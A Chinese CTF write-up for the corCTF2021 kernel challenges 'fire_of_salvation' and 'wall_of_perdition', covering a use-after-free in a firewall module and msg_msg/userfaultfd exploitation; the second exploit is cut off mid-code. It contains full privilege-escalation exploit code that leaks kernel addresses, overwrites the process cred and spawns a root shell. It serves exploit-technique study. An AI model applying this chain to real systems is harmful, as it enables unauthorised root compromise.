【msg_msg】corCTF2021-msgmsg 套题

前言

该套题共两题,一道简单模式 fire_of_salvation,一道困难模式 wall_of_perdition,都是关于 msg_msg 的利用的。这题跟之前的 TPCTF2023 core 的很像(应该是 TPCTF2023 core 跟他很像,bushi)。

其中 fire_of_salvation 是一个 0x1000 大小的 UAF,可以写 UAF obj 的前 0x20 字节或者 0x30 字节。而 wall_of_perdition 是一个 0x40 大小的 UAF,可以写 UAF obj 的前 0x20 字节或者 0x30 字节。

这题给的内核版本是 v5.8.0,而这个题目是 2021 年的,dirty pipe 是 2022 年曝的,所以不出意外的话,这题的内核应该本身带有 drity pipe,经过测试的确如此:这里笔者不会介绍 dirty pipe nday 直接打,感兴趣可以看之前的文章。

漏洞分析

保护:kaslr、smap、smep、kpti,并且还开了如下保护:比较显眼的就是 FG_KASLR 了,但是没有开 MEMGE 所以可以利用的结构体还是比较多的。

CONFIG_SLAB=y
CONFIG_SLAB_FREELIST_RANDOM=y
CONFIG_SLAB_FREELIST_HARDEN=y
CONFIG_STATIC_USERMODEHELPER=y
CONFIG_STATIC_USERMODEHELPER_PATH=""
CONFIG_FG_KASLR=y
# CONFIG_SLAB_MERGE_DEFAULT is not set

这题给了源码(?),笔者找到的题目是包含源码的,不知道比赛的时候给没给源码 

题目给了增、删、改的功能, 其中漏洞点如下:

static long firewall_delete_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{printk(KERN_INFO "[Firewall::Info] firewall_delete_rule() deleting rule!\n");if (firewall_rules[idx] == NULL){printk(KERN_INFO "[Firewall::Error] firewall_delete_rule() invalid rule slot!\n");return ERROR;}kfree(firewall_rules[idx]);firewall_rules[idx] = NULL;return SUCCESS;
}static long firewall_dup_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{uint8_t i;rule_t **dup;printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() duplicating rule!\n");dup = (user_rule.type == INBOUND) ? firewall_rules_out : firewall_rules_in;if (firewall_rules[idx] == NULL){printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nothing to duplicate!\n");return ERROR;}if (firewall_rules[idx]->is_duplicated){printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule already duplicated before!\n");return ERROR;}for (i = 0; i < MAX_RULES; i++){if (dup[i] == NULL){dup[i] = firewall_rules[idx];firewall_rules[idx]->is_duplicated = 1;printk(KERN_INFO "[Firewall::Info] firewall_dup_rule() rule duplicated!\n");return SUCCESS;}}printk(KERN_INFO "[Firewall::Error] firewall_dup_rule() nowhere to duplicate!\n");return ERROR;
}

当执行 dup 时, 会把入口规则的指针直接赋给出口规则. 而在 dele 时只会释放其中一个, 因此造成 UAF.

fire_of_salvation 跟 wall_of_perdition 唯一不同的就是 obj 的大小:可以看到在 easy_mode 下,obj 的大小为 0x1000;非 easy_mode 下,obj 的大小为 0x40。

#ifdef EASY_MODE
#define DESC_MAX 0x800
#endiftypedef struct
{char iface[16];char name[16];char ip[16];char netmask[16]; uint8_t idx; // buf[64]uint8_t type; // buf[65]uint16_t proto;uint16_t port;uint8_t action;#ifdef EASY_MODEchar desc[DESC_MAX];#endif
} user_rule_t;typedef struct
{char iface[16];char name[16];uint32_t ip;uint32_t netmask;uint16_t proto;uint16_t port;uint8_t action;uint8_t is_duplicated;#ifdef EASY_MODEchar desc[DESC_MAX];#endif
} rule_t;

这里需要注意一下修改功能,其对漏洞利用比较重要:

typedef struct
{char iface[16];char name[16];uint32_t ip;uint32_t netmask;uint16_t proto;uint16_t port;uint8_t action;uint8_t is_duplicated;#ifdef EASY_MODEchar desc[DESC_MAX];#endif
} rule_t;static long firewall_edit_rule(user_rule_t user_rule, rule_t **firewall_rules, uint8_t idx)
{printk(KERN_INFO "[Firewall::Info] firewall_edit_rule() editing rule!\n");#ifdef EASY_MODEprintk(KERN_INFO "[Firewall::Error] Note that description editing is not implemented.\n");#endifif (firewall_rules[idx] == NULL){printk(KERN_INFO "[Firewall::Error] firewall_edit_rule() invalid idx!\n");return ERROR;}// 先修改了 iface/name, 即 rule_t 的前 0x20 字节memcpy(firewall_rules[idx]->iface, user_rule.iface, 16);memcpy(firewall_rules[idx]->name, user_rule.name, 16);if (in4_pton(user_rule.ip, strnlen(user_rule.ip, 16), (u8 *)&(firewall_rules[idx]->ip), -1, NULL) == 0){printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid IP format!\n");return ERROR;}if (in4_pton(user_rule.netmask, strnlen(user_rule.netmask, 16), (u8 *)&(firewall_rules[idx]->netmask), -1, NULL) == 0){printk(KERN_ERR "[Firewall::Error] firewall_edit_rule() invalid Netmask format!\n");return ERROR;}firewall_rules[idx]->proto = user_rule.proto;firewall_rules[idx]->port = ntohs(user_rule.port);firewall_rules[idx]->action = user_rule.action;printk(KERN_ERR "[Firewall::Info] firewall_edit_rule() rule edited!\n");return SUCCESS;
}

这里我们一次似乎只能且必须修改 0x30 字节,但是仔细看的话,可以发现其实我们可以只修改前 0x20 字节。因为这里是先修改了前 0x20 字节,然后再检测 ip、netmask 的合法性,所以如果我们让 ip 不合法,就可以只修改 0x20 字节了,这有什么用呢?

来看下 msg_msg 结构体:

/* one msg_msg structure for each message */
struct msg_msg {struct list_head m_list; // 消息通过双向链表连接long m_type;			// 消息类型size_t m_ts;			// 消息的大小struct msg_msgseg *next;	// 消息数据void *security;/* the actual message follows immediately */
};

可以看到前 0x20 字节刚好到 m_ts,所以这里我们可以避免破坏 next 指针。

漏洞利用

fire_of_salvation

总体思路如下:

1)add、dupl 、dele 构造 0x1000 UAF obj

2)创建消息队列,并发送 0x1000-0x30-0x20-8 的消息,其中 msg_msg 会占据该 UAF obj

3)堆喷 shm_file_data,为泄漏 kernel_offset 做准备

4)UAF 修改 msg_msg 的 m_ts 字段为 0x2000-0x30-0x8,这里注意利用的 edit 修改前 0x20 字段,因为如果你修改 0x30 会将其 next 指针破坏

5)消息队列越界读泄漏 kernel_offset,从而得到 init_task 地址

6)UAF 修改 msg_msg 的 m_ts 和 next 字段实现任意读,通过遍历 init_task 的 tasks 链表找到当前进程的 task_struct,从而得到 cur_cred

7)add、dupl、dele 重新构造一个 0x1000 UAF obj

8)创建消息队列,并发送 0x1000-0x30+0x10 的消息。而消息结构体的创建和数据拷贝是分开进行的,所以可以在拷贝 msg_msg 的时候用 userfaultfd 将其卡住,然后利用 UAF 修改其 next 为 cur_cred,这样当写 msg_seg 的时候就会覆写 cur_cred 了。

越界读泄漏内核基址

创建一个大小为 0x1000-0x30+0x20-8 大小的消息去占据 UAF 堆块, 然后修改其 m_ts 实现越界读.这时我们可以堆喷大量的 shm_file_data, 从而去泄漏 init_ipc_ns. 该全局指针不会进行二次随机化, 所以可以绕过 FG_KASLR.

任意读寻找 current task_struct

有了内核基址后, 就可以找到 init_task 地址了, 然后可以利用任意读去遍历其子进程即 tasks 字段, 从而找到当前进程的 task_struct.

而我们知道读 msg_msgseg 时, 其终止的标志为其 next=NULL. 所以这就要求 target_addr - 8 = NULL (当然也不一定这样, 比如 target_addr-0x18=NULL也是可以的, 反正就是要找到一个 NULL 位置). 而这里比较 Nice 的是 tasks-8 就是 NULL. tasks 字段的偏移是 0x298

任意写修改 current cred

当我们调用 msgsnd 系统调用时, 其会调用 load_msg() 将用户空间数据拷贝到内核空间中. 首先是调用 alloc_msg() 分配 msg_msg 单向链表, 之后才是正式的拷贝过程, 即空间的分配与数据的拷贝是分开进行的.

struct msg_msg *load_msg(const void __user *src, size_t len)
{struct msg_msg *msg;struct msg_msgseg *seg;int err = -EFAULT;size_t alen;// 空间分配msg = alloc_msg(len); // 分配 msg 所需空间// 数据拷贝alen = min(len, DATALEN_MSG); // 一个 msg 包含 header 最大为1页if (copy_from_user(msg + 1, src, alen)) // msg+1 就是数据空间goto out_err;// 当消息的长度大于0xfd0时, 注意复制结束的标志是 seg->next = NULLfor (seg = msg->next; seg != NULL; seg = seg->next) { // 0xfd0之后的数据存储在 msg_msgseg 结构体中len -= alen;								// msg_msgseg 包含 header 最大也是1页src = (char __user *)src + alen;alen = min(len, DATALEN_SEG);if (copy_from_user(seg + 1, src, alen))goto out_err;}
......
}

如果在拷贝时利用 userfaultfd/FUSE 将拷贝停下来, 在子进程中篡改 msg_msg 的 next 指针, 在恢复拷贝之后便会向我们篡改后的目标地址上写入数据,从而实现任意地址写

并且 real_cred 前也为 NULL:

exp 如下:

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h># define EASY_MODE
#define ADD_RULE 0x1337babe
#define DELE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1#ifdef EASY_MODE
#define DESC_MAX 0x800
#endiftypedef struct
{char iface[16];char name[16];char ip[16];char netmask[16];uint8_t idx; // buf[64]uint8_t type; // buf[65]uint16_t proto;uint16_t port;uint8_t action;#ifdef EASY_MODEchar desc[DESC_MAX];#endif
} user_rule_t;void convert(char* buf, uint32_t num)
{sprintf(buf, "%d.%d.%d.%d", num&0xff, (num>>8)&0xff, (num>>16)&0xff, (num>>24)&0xff);
}void generate(char* buf, user_rule_t* rule)
{char tmp[16] = { 0 };uint32_t ip = *(uint32_t*)&buf[32];uint32_t netmask = *(uint32_t*)&buf[36];memset(tmp, 0, sizeof(tmp));convert(tmp, ip);memcpy(rule->ip, tmp, 16);memset(tmp, 0, sizeof(tmp));convert(tmp, netmask);memcpy(rule->netmask, tmp, 16);memcpy(rule->iface, buf, 16);memcpy(rule->name, &buf[16], 16);memcpy(&rule->proto, &buf[0x28], 2);memcpy(&rule->port, &buf[0x28+2], 2);memcpy(&rule->action, &buf[0x28+2+2], 1);
}int fd;
void add(uint8_t idx, char* buf, int type)
{user_rule_t rule = { 0 };generate(buf, &rule);rule.idx = idx;rule.type = type;ioctl(fd, ADD_RULE, &rule);
}void dele(uint8_t idx, int type)
{user_rule_t rule = { 0 };rule.idx = idx;rule.type = type;ioctl(fd, DELE_RULE, &rule);
}void edit(uint8_t idx, char* buf, int type, int flag)
{user_rule_t rule = { 0 };generate(buf, &rule);rule.idx = idx;rule.type = type;if (flag){strcpy(rule.ip, "invalid");strcpy(rule.netmask, "invalid");}ioctl(fd, EDIT_RULE, &rule);
}void dupl(uint8_t idx, int type)
{user_rule_t rule = { 0 };rule.idx = idx;rule.type = type;ioctl(fd, DUP_RULE, &rule);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");exit(EXIT_SUCCESS);
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct msg_buf {long m_type;char m_text[1];
};struct msg_msg {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}size_t init_ipc_ns;
size_t kernel_offset;
size_t init_task = 0xffffffff81c124c0;
size_t init_cred = 0xffffffff81c33060;size_t target_idx;
size_t target_addr;
char copy_src[0x1000];void* handler(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler");*(uint64_t*)(copy_src) = 0;*(uint64_t*)(copy_src+8) = init_cred;*(uint64_t*)(copy_src+0x10) = init_cred;char buffer[0x1000] = { 0 };struct msg_msg evil = { 0 };evil.m_type = 1;evil.m_ts = 0x1000-0x30+0x10;evil.next = target_addr;memcpy(buffer, &evil, sizeof(evil));edit(target_idx, buffer, OUTBOUND, 0);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}int main(int argc, char** argv, char** env)
{bind_core(0);fd = open("/dev/firewall", O_RDWR);if (fd < 0) err_exit("open /dev/firewall");int qid;int shm_id;char tmp[0x2000] = { 0 };char buffer[0x1000] = { 0 };struct msg_msg evil;struct msg_buf* msg_buf;msg_buf = (struct msg_buf*)tmp;add(0, buffer, INBOUND);dupl(0, INBOUND);if ((qid = msgget(0, IPC_PRIVATE|0666)) < 0) err_exit("msgget");dele(0, INBOUND);msg_buf->m_type = 1;if (msgsnd(qid, msg_buf, 0x1000-0x30+0x20-8, 0) < 0) err_exit("msgsnd");for (int i = 0; i < 0x50; i++){if ((shm_id = shmget(IPC_PRIVATE, 100, 0666)) < 0) err_exit("shmget");if (shmat(shm_id, NULL, 0) < 0) err_exit("shmat");}memset(&evil, 0, sizeof(evil));evil.m_type = 1;evil.m_ts = 0x1000-0x30+0x1000-0x8;memcpy(buffer, &evil, sizeof(evil));edit(0, buffer, OUTBOUND, 1);int res = msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);if (res < 0x1000-0x30+0x20-8) err_exit("failed to hit UAF chunk");binary_dump("OOR DATA", msg_buf->m_text+0xfd0, 0x100);for (int i = 0; i < 0xfd0 / 0x20; i++){if (((*(size_t*)(msg_buf->m_text+0xfd0+0x20*i))&0xfff) == 0x7a0){init_ipc_ns = *(size_t*)(msg_buf->m_text+0xfd0+0x20*i);break;}}kernel_offset = init_ipc_ns - 0xffffffff81c3d7a0;init_task += kernel_offset;init_cred += kernel_offset;hexx("init_ipc_ns", init_ipc_ns);hexx("kernel_offset", kernel_offset);hexx("init_task", init_task);hexx("init_cred", init_cred);uint32_t pid, cur_pid;uint64_t prev, curr;pid = -1;cur_pid = getpid();hexx("current pid", cur_pid);prev = init_task + 0x298;memset(&evil, 0, sizeof(evil));memset(buffer, 0, sizeof(buffer));evil.m_type = 1;evil.m_ts = 0x1000-0x30+0x1000-0x8;while (pid != cur_pid){curr = prev - 0x298;evil.next = prev - 8;memcpy(buffer, &evil, sizeof(evil));edit(0, buffer, OUTBOUND, 0);memset(msg_buf, 0, sizeof(msg_buf));msgrcv(qid, msg_buf, 0x1000-0x30+0x1000-0x8, 0, MSG_COPY|IPC_NOWAIT|MSG_NOERROR);memcpy(&prev, msg_buf->m_text+0xfd8, 8);memcpy(&pid, msg_buf->m_text+0x10d0, 4);hexx(" searched pid", pid);}hexx("current task_struct", curr);pthread_t thr;char* uffd_buf = mmap(0, 2*0x1000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0);if (uffd_buf < 0) err_exit("mmap for uffd_uffd");msg_buf = (struct msg_buf*)(uffd_buf+0x30);msg_buf->m_type = 1;register_userfaultfd(&thr, uffd_buf+0x1000, 0x1000, handler);target_idx = 1;target_addr = curr + 0x530;memset(buffer, 0, sizeof(buffer));add(1, buffer, INBOUND);dupl(1, INBOUND);dele(1, INBOUND);if (msgsnd(qid, msg_buf, 0x1000-0x30+0x10, 0) < 0) err_exit("msgsnd to triger userfaultfd");hexx("UID", getuid());system("/bin/sh");puts("[+] END");return 0;
}

效果如下:

wall_of_perdition

TPCTF2023 core 跟这个题目几乎一模一样,在 TPCTF2023 core 的文章中,介绍了两种方法,这里笔者采用的是 msg_msg 实现任意读写,毕竟 2021 年还没有 dirty pipe 呢。

注:wall_of_perdition 是比 TPCTF2023 core 早的,但是笔者做 wall_of_perdition 比较晚,所以文章中出现了一些 wall_of_perdition 跟 TPCTF2023 core 比较像的言论,读者无需在意

exp 如下:跟 TPCTF2023 core 的 exp 几乎一样,原理在 TPCTF2023 core 中讲了,这里就贴个 exp。当然感兴趣的可以尝试构造 dirty pipe

成功率还行,失败的主要原因在于堆喷的 msg_msg 不在同一个 0xfd0 区域中

#ifndef _GNU_SOURCE
#define _GNU_SOURCE
#endif#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <signal.h>
#include <string.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/ioctl.h>
#include <sched.h>
#include <linux/keyctl.h>
#include <ctype.h>
#include <pthread.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <sys/sem.h>
#include <semaphore.h>
#include <poll.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <asm/ldt.h>
#include <sys/shm.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <linux/if_packet.h>//#define EASY_MODE
#define ADD_RULE 0x1337babe
#define DELE_RULE 0xdeadbabe
#define EDIT_RULE 0x1337beef
#define SHOW_RULE 0xdeadbeef
#define DUP_RULE 0xbaad5aad#define ERROR -1
#define SUCCESS 0
#define MAX_RULES 0x80#define INBOUND 0
#define OUTBOUND 1
#define SKIP -1#ifdef EASY_MODE
#define DESC_MAX 0x800
#endiftypedef struct
{char iface[16];char name[16];char ip[16];char netmask[16];uint8_t idx; // buf[64]uint8_t type; // buf[65]uint16_t proto;uint16_t port;uint8_t action;#ifdef EASY_MODEchar desc[DESC_MAX];#endif
} user_rule_t;void convert(char* buf, uint32_t num)
{sprintf(buf, "%d.%d.%d.%d", num&0xff, (num>>8)&0xff, (num>>16)&0xff, (num>>24)&0xff);
}void generate(char* buf, user_rule_t* rule)
{char tmp[16] = { 0 };uint32_t ip = *(uint32_t*)&buf[32];uint32_t netmask = *(uint32_t*)&buf[36];memset(tmp, 0, sizeof(tmp));convert(tmp, ip);memcpy(rule->ip, tmp, 16);memset(tmp, 0, sizeof(tmp));convert(tmp, netmask);memcpy(rule->netmask, tmp, 16);memcpy(rule->iface, buf, 16);memcpy(rule->name, &buf[16], 16);memcpy(&rule->proto, &buf[0x28], 2);memcpy(&rule->port, &buf[0x28+2], 2);memcpy(&rule->action, &buf[0x28+2+2], 1);
}int fd;
void add(uint8_t idx, char* buf, int type)
{user_rule_t rule = { 0 };generate(buf, &rule);rule.idx = idx;rule.type = type;ioctl(fd, ADD_RULE, &rule);
}void dele(uint8_t idx, int type)
{user_rule_t rule = { 0 };rule.idx = idx;rule.type = type;ioctl(fd, DELE_RULE, &rule);
}void edit(uint8_t idx, char* buf, int type, int flag)
{user_rule_t rule = { 0 };generate(buf, &rule);rule.idx = idx;rule.type = type;if (flag){strcpy(rule.ip, "invalid");strcpy(rule.netmask, "invalid");}ioctl(fd, EDIT_RULE, &rule);
}void dupl(uint8_t idx, int type)
{user_rule_t rule = { 0 };rule.idx = idx;rule.type = type;ioctl(fd, DUP_RULE, &rule);
}void err_exit(char *msg)
{printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);sleep(5);exit(EXIT_FAILURE);
}void info(char *msg)
{printf("\033[32m\033[1m[+] %s\n\033[0m", msg);
}void hexx(char *msg, size_t value)
{printf("\033[32m\033[1m[+] %s: \033[0m%#lx\n", msg, value);
}void binary_dump(char *desc, void *addr, int len) {uint64_t *buf64 = (uint64_t *) addr;uint8_t *buf8 = (uint8_t *) addr;if (desc != NULL) {printf("\033[33m[*] %s:\n\033[0m", desc);}for (int i = 0; i < len / 8; i += 4) {printf("  %04x", i * 8);for (int j = 0; j < 4; j++) {i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf("                   ");}printf("   ");for (int j = 0; j < 32 && j + i * 8 < len; j++) {printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');}puts("");}
}/* root checker and shell poper */
void get_root_shell(void)
{if(getuid()) {puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");exit(EXIT_FAILURE);}puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");system("/bin/sh");exit(EXIT_SUCCESS);
}/* bind the process to specific core */
void bind_core(int core)
{cpu_set_t cpu_set;CPU_ZERO(&cpu_set);CPU_SET(core, &cpu_set);sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}struct msg_buf {long m_type;char m_text[1];
};struct msg_header {void* l_next;void* l_prev;long m_type;size_t m_ts;void* next;void* security;
};void register_userfaultfd(pthread_t* moniter_thr, void* addr, long len, void* handler)
{long uffd;struct uffdio_api uffdio_api;struct uffdio_register uffdio_register;uffd = syscall(__NR_userfaultfd, O_NONBLOCK|O_CLOEXEC);if (uffd < 0) perror("[X] syscall for __NR_userfaultfd"), exit(-1);uffdio_api.api = UFFD_API;uffdio_api.features = 0;if (ioctl(uffd, UFFDIO_API, &uffdio_api) < 0) puts("[X] ioctl-UFFDIO_API"), exit(-1);uffdio_register.range.start = (long long)addr;uffdio_register.range.len = len;uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING;if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) < 0) puts("[X] ioctl-UFFDIO_REGISTER"), exit(-1);if (pthread_create(moniter_thr, NULL, handler, (void*)uffd) < 0)puts("[X] pthread_create at register_userfaultfd"), exit(-1);
}int qid;
char copy_src[0x1000];
char *uffd_buf1, *uffd_buf2;
uint64_t ll_next = -1, ll_prev = -1;
size_t cred_cred = 0;
int pipe_fd[3][2];void* handler_1(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler_1");write(pipe_fd[0][1], "g", 1);*(uint64_t*)(copy_src + 8) = 0;*(uint64_t*)(copy_src + +0x10) = 1;*(uint64_t*)(copy_src + +0x18) = 0x2000-0x30-8;*(uint64_t*)(copy_src + +0x20) = cred_cred - 8;*(uint64_t*)(copy_src + +0x28) = 0;char w[1];read(pipe_fd[2][0], w, 1);uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);write(pipe_fd[1][1], "g", 1);}
}void* handler_2(void* arg)
{struct uffd_msg msg;struct uffdio_copy uffdio_copy;long uffd = (long)arg;for(;;){int res;struct pollfd pollfd;pollfd.fd = uffd;pollfd.events = POLLIN;if (poll(&pollfd, 1, -1) < 0) puts("[X] error at poll"), exit(-1);res = read(uffd, &msg, sizeof(msg));if (res == 0) puts("[X] EOF on userfaultfd"), exit(-1);if (res ==-1) puts("[X] read uffd in fault_handler_thread"), exit(-1);if (msg.event != UFFD_EVENT_PAGEFAULT) puts("[X] Not pagefault"), exit(-1);puts("[+] Now in userfaultfd handler_2");char w[1];write(pipe_fd[2][1], "g", 1);read(pipe_fd[1][0], w, 1);sleep(1);memset(copy_src, 0, sizeof(copy_src));*(int*)copy_src = 1;uffdio_copy.src = (long long)copy_src;uffdio_copy.dst = (long long)msg.arg.pagefault.address & (~0xFFF);uffdio_copy.len = 0x1000;uffdio_copy.mode = 0;uffdio_copy.copy = 0;if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) < 0) puts("[X] ioctl-UFFDIO_COPY"), exit(-1);}
}void* thread_handler1(void* arg)
{puts("[+] thread_handler1 start to work");int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");char buf[0x2000];struct msg_buf* msg = (struct msg_buf*)(uffd_buf1+0x30);msg->m_type = 1;if (msgsnd(qqid, msg, 0x2000-0x30-8, 0) < 0)err_exit("FAILED to send 0x2000 msg in thread_handler1");puts("[+] thread_handler1 over");return NULL;
}void* thread_handler2(void* arg)
{char w[1];read(pipe_fd[0][0], w, 1);puts("[+] thread_handler2 start to work");uint64_t buf[0x30/8];char buff[0x2000];buf[0] = ll_prev;buf[1] = ll_prev;buf[2] = 1;buf[3] = 0x10;buf[4] = ll_next;buf[5] = 0;edit(0, (char*)buf, OUTBOUND, 0);int res = msgrcv(qid, buff, 0x10, 1, IPC_NOWAIT|MSG_NOERROR);hexx("  msgrcv to free data size", res);int qqid = msgget(IPC_PRIVATE, IPC_CREAT|0666);if (qqid < 0) err_exit("FAILED to create a msg queue in thread_handler1");struct msg_buf* msg = (struct msg_buf*)(uffd_buf2+0x30);msg->m_type = 1;if (msgsnd(qqid, msg, 0x1038-0x30-8, 0) < 0)err_exit("FAILED to send 0x2000 msg in thread_handler1");puts("[+] thread_handler2 over");return NULL;
}#define MSG_SPARY_NUMS 0x20
size_t addr_table[] = {0xffffffff81c41600,0xffffffff81c41520
};
size_t leak_offset(size_t addr)
{size_t kernel_offset = -1;if (addr < 0xffffffff81000000) return kernel_offset;for (int i = 0; i < sizeof(addr_table) / sizeof(size_t); i++){if ((addr_table[i]&0xfff) == (addr&0xfff)){kernel_offset = addr - addr_table[i];break;}}return kernel_offset;
}int main(int argc, char** argv, char** env)
{bind_core(0);int vim_idx;int res;int msg_idx[MSG_SPARY_NUMS];char tmp[0x2000] = { 0 };char buffer[0x1000] = { 0 };struct msg_buf* msg_buf;size_t kernel_offset;msg_buf = (struct msg_buf*)tmp;for (int i = 0; i < 3; i++) pipe(pipe_fd[i]);fd = open("/dev/firewall", O_RDWR);if (fd < 0) err_exit("open /dev/firewall");pthread_t thr1, thr2;uffd_buf1 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);uffd_buf2 = (char*)mmap(0, 0x2000, PROT_WRITE|PROT_READ, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);register_userfaultfd(&thr1, (void*)(uffd_buf1+0x1000), 0x1000, handler_1);register_userfaultfd(&thr2, (void*)(uffd_buf2+0x1000), 0x1000, handler_2);add(0, buffer, INBOUND);dupl(0, INBOUND);if ((qid = msgget(IPC_PRIVATE, IPC_CREAT|0666)) < 0)err_exit("FAILED to create a msg queue to get UAF obj");dele(0, INBOUND);msg_buf->m_type = 1;if (msgsnd(qid, msg_buf, 0x40-0x30, 0) < 0) err_exit("FAILED to send a msg to get UAF obj");for (int i = 0; i < MSG_SPARY_NUMS; i++){if ((msg_idx[i] = msgget(IPC_PRIVATE, IPC_CREAT|0666)) < 0) err_exit("FAILED to create msg queue to spary");msg_buf->m_type = 1;*(uint64_t*)msg_buf->m_text = 0xAAAABBBBCCCCDDDD;*(uint64_t*)(msg_buf->m_text+8) = i;if 